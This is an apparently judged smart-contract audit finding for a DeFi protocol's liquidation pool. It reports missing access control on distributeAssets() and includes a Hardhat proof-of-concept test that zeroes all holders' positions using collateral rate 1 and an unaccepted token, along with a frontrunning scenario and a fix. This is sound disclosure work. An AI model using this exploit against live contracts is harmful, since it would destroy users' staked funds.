The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access control in Liquidation Pool allows an attacker to reduce position of all the holders to 0 by leveraging arbitrary collateral rate and an unaccepted token

neocrao

Summary

The function LiquidationPool::distributeAssets() is an external function that has no access control modifier, and hence it can be called by anyone. This method is meant to be called by LiquidationPoolManager::runLiquidation() which liquidates a vault, and then uses the LiquidationPool::distributeAssets() function to distribute the rewards from the liquidation amongst the holders that maintain a position.

The stakes position of users is measured by min of EUROs and TST token. Upon distribution of the rewards, the EUROs position of the holder is reduced equal to the rewards being distributed in EUROs.

LiquidationPool::distributeAssets() takes in collteral rate as an input, which can be used by the attacker to inflate the amount by which the EUROs is reduced for the holders to 0, ultimately making their overall position as 0. It also takes assets as an input, which can be an arbitrary token that is not recognized by the protocol, further making the holders lose all the rewards.

Vulnerability Details

Below is the method signature of LiquidationPool::distributeAssets() for reference.

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
...
...
}

Below is a summary of how the LiquidationPool::distributeAssets() function works:

  • Function gets called with assets, and collateral rate, and a value for "hundred percent with the right precision"

  • Next, it gets the total stake amount of across all the holders.

  • For each of the holder, it does this:

    • Get stake of the current holder, which is the minimum of TST or EUROs position of the holder

    • For all the assets, do this:

      • Calculate the stake portion of the holder ((holder stake/total stake) * 100)

      • [ATTACK_REF_1] Calculate the stake position for the given asset for the holder in terms of EUROs. It takes the collateral rate into account. The key point here is that the collateral rate is taken as the input, and collateral rate is used to divide the overall value. Its expected that the collateral rate would be something like 120000 (120%), but instead the attacker can just pass a value of 1, which would inflate the EUROs amount for the user.

      • [ATTACK_REF_2] Reduce the EUROs position of the holder by the above calculated amount. If the holder doesn't have enough EUROs, then their portion is updated to what their whole position is, thereby making the position after distribution to 0

      • The rest of the loop deals with token transfers from the Liquidation Pool Manager and burning of EUROs

Now, because LiquidationPool::distributeAssets() has no access control modifier and is an external function, therefore anyone can call this function. The attacker can pass any value for the _collateralRate. If the attacker calls the function with a large enough value for _collateralRate, such that the holders position in terms of EUROs (as mentioned in ATTACK_REF_1) exceeds their EUROs position, then complete position is used to distribute the assets and their position is updated to 0 (ATTACK_REF_2).

Proof of Concept

Drop the below test in test/liquidationPool.js

(The test is using describe.only, so when you run the test, then only this test will be run)

describe.only('[POC] Make all holder positions as 0', async () => {
const HUNDRED_PC = BigNumber.from(100000);
let TokenManager, EurUsd, ATTK, AttkUsd;
​
beforeEach(async () => {
EurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
​
({ TokenManager } = await mockTokenManager());
​
const MockERC20Factory = await ethers.getContractFactory('ERC20Mock');
​
// Attacker's choice of token, that is not part of TokenManager::getAcceptedTokens()
ATTK = await MockERC20Factory.deploy('Attacker Token', 'ATTK', 8);
AttkUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('ATTK/USD');
await AttkUsd.setPrice(BigNumber.from(100000000)); // $1
})
​
it('[POC] Make all holder positions as 0', async () => {
const [signer, attacker, holder1, holder2, holder3] = await ethers.getSigners();
​
// Doing the below just for convenience to demonstrate the attack
// An attacker can create their own tokens without any transfer approval requirements
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [LiquidationPoolManager.address],
});
await signer.sendTransaction({ to: LiquidationPoolManager.address, value: ethers.utils.parseEther("1") })
const liquidationPoolManagerSigner = await ethers.getSigner(LiquidationPoolManager.address);
await ATTK.connect(liquidationPoolManagerSigner).approve(LiquidationPool.address, ethers.constants.MaxUint256);
​
const tstStake = ethers.utils.parseEther('1');
const eurosStake = ethers.utils.parseEther('2');
​
// Holder 1, creates their position
await TST.mint(holder1.address, tstStake);
await EUROs.mint(holder1.address, eurosStake);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake);
await LiquidationPool.connect(holder1).increasePosition(tstStake, eurosStake);
​
// Holder 2, creates their position
await TST.mint(holder2.address, tstStake);
await EUROs.mint(holder2.address, eurosStake);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake);
await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake);
await LiquidationPool.connect(holder2).increasePosition(tstStake, eurosStake);
​
// Holder 3, creates their position
await TST.mint(holder3.address, tstStake);
await EUROs.mint(holder3.address, eurosStake);
await TST.connect(holder3).approve(LiquidationPool.address, tstStake);
await EUROs.connect(holder3).approve(LiquidationPool.address, eurosStake);
await LiquidationPool.connect(holder3).increasePosition(tstStake, eurosStake);
​
const attackerFundingAmount = ethers.utils.parseEther('1');
await ATTK.mint(attacker.address, attackerFundingAmount);
await ATTK.connect(attacker).transfer(LiquidationPoolManager.address, attackerFundingAmount);
​
// 1000000000000000000
expect((await ATTK.balanceOf(LiquidationPoolManager.address))).to.equal(attackerFundingAmount);
​
await fastForward(DAY);
​
const tokens = await TokenManager.getAcceptedTokens();
​
const assets = [{
token: {
symbol: ethers.utils.formatBytes32String("ATTK"),
addr: ATTK.address,
dec: 8,
clAddr: AttkUsd.address,
clDec: 8,
},
amount: attackerFundingAmount,
}];
​
for (const holder of [holder1, holder2, holder3]) {
let { _position, _rewards } = await LiquidationPool.position(holder.address);
// 2000000000000000000
expect(_position.EUROs).to.equal(eurosStake);
// 1000000000000000000
expect(_position.TST).to.equal(tstStake);
// No rewards
_rewards.forEach((reward) => {
expect(reward.amount).to.equal(0);
})
}
​
// Attacker calls distributeAssets()
await LiquidationPool.connect(attacker).distributeAssets(
assets,
BigNumber.from(1),
HUNDRED_PC
);
​
for (const holder of [holder1, holder2, holder3]) {
let { _position, _rewards } = await LiquidationPool.position(holder.address);
// @>>>>>>> PROBLEM: EUROs position set to 0!
expect(_position.EUROs).to.equal(BigNumber.from(0));
// 1000000000000000000
expect(_position.TST).to.equal(tstStake);
// @>>>>>>> PROBLEM: No rewards after LiquidationPool::distributeAssets()
_rewards.forEach((reward) => {
expect(reward.amount).to.equal(0);
})
}
});
});

Impact

An attacker can call LiquidationPool::distributeAssets() with a value of 1 collateral rate right before LiquidationPoolManager::runLiquidation() is called, and make everyone's position as 0. This will lead to loss of EUROs for all the holders, and the attacker can furthermore then increase their positions for the next liquidations to get major chunk of the liquidation amount.

The attack can be further exacerbated if the attacker uses an asset that is not recognized by the contracts. Because the asset is not part of the "Accepted Tokens", the holders get no rewards at all.

In the worst case scenario, the attacker can accomplish this:

  • Frontrun the call to LiquidationPoolManager::runLiquidation()

    • Execute the "proof of concept". This will eliminate all the holders, and make their positions as 0.

    • The attacker can increase their position in the Liquidation Pool.

  • LiquidationPoolManager::runLiquidation() gets called

  • The attacker gets all the complete share of the liquidation of the vault

Alternatively, the attacker can also just grief all the holders by front running LiquidationPoolManager::runLiquidation() with the "proof of concept", and the holders will end up losing their position (EUROs) and get no rewards either.

Please note that frontrunning is just a mechanism to showcase the attack. Frontrunning is not a requirement.

Tools Used

Manual Review

Recommendations

Add access control modifier to LiquidationPool::distributeAssets() so that only LiquidationPoolManager can call it.

- function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
+ function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {
...
...
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.